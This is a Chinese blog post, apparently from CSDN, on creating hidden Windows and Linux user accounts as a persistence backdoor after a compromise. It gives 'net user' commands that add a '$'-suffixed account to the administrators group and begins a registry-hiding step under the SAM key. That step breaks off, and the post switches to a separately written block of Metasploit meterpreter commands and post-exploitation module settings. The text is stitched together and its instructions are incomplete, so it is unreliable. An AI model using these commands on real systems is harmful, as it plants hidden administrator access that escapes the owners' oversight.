创建隐藏用户(权限维持)

这篇博客介绍了如何通过注册表操作在Windows系统中创建一个隐藏用户,该用户不会显示在控制面板的用户账户列表中,也无法通过常规方式删除。尽管用户登录会产生账户信息,但可以通过更改注册表中用户类型的设置进一步隐藏其存在。

8.创建隐藏用户(深藏)

1. net user zmx$ 123 /add 		   	# 创建一个隐藏用户(隐藏用户用net user查看不到,但注销登录可见)
   net localgroup administrators zmx$ /add	# 把隐藏用户加入到管理员组

由于现在创建的用户并没有绝对隐藏,所以使用注册表来进行隐藏

2. win + r 输入 regedit 			   # 打开注册表,找到以下内容
    HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account
在使用 Metasploit Framework (MSF) 进行渗透测试时,创建隐藏用户是一种常见的权限维持手段,通常用于在目标系统上保留后门以便后续访问。此操作通常发生在成功利用漏洞并获得目标系统的访问权限之后。 MSF 提供了多种方式来实现这一目标,具体方法取决于目标系统的操作系统类型(如 Windows、Linux 等)以及当前获得的权限级别。 ### 在 Windows 系统中创建隐藏用户Windows 系统中,可以通过 `net user` 命令创建隐藏用户,方法是在用户名后添加 `$` 符号,这样该用户将不会显示在登录界面中。例如: ```bash net user hacker$ password123 /add ``` 在 MSF 中,可以通过 `execute` 或 `shell` 命令执行上述操作,具体如下: ```ruby meterpreter > execute -f "net" -a "user hacker$ password123 /add" ``` ### 在 Linux 系统中创建隐藏用户 在 Linux 系统中,可以通过修改 `/etc/passwd` 文件来创建隐藏用户。通常,UID 小于 1000 的用户不会显示在图形登录界面中(具体行为取决于发行版和显示管理器)。例如,使用 `useradd` 命令创建隐藏用户: ```bash useradd -u 999 hiddenuser passwd hiddenuser ``` 在 MSF 的 Meterpreter 会话中,可以使用以下命令执行: ```ruby meterpreter > execute -f "useradd" -a "-u 999 hiddenuser" meterpreter > execute -f "passwd" -a "hiddenuser" ``` ### 使用 Metasploit 模块自动化创建隐藏用户 MSF 提供了多个后渗透模块用于自动化创建隐藏用户,例如: - `post/windows/manage/useradd`:用于在 Windows 系统中创建用户。 - `post/linux/manage/adduser`:用于在 Linux 系统中创建用户。 使用方法如下: ```ruby use post/windows/manage/useradd set SESSION <session_id> set USER_NAME hacker$ set USER_PASS password123 run ``` 上述操作可以实现创建隐藏用户的目的,并通过 Meterpreter 会话保持对目标系统的控制[^4]。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

鹏程万里.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值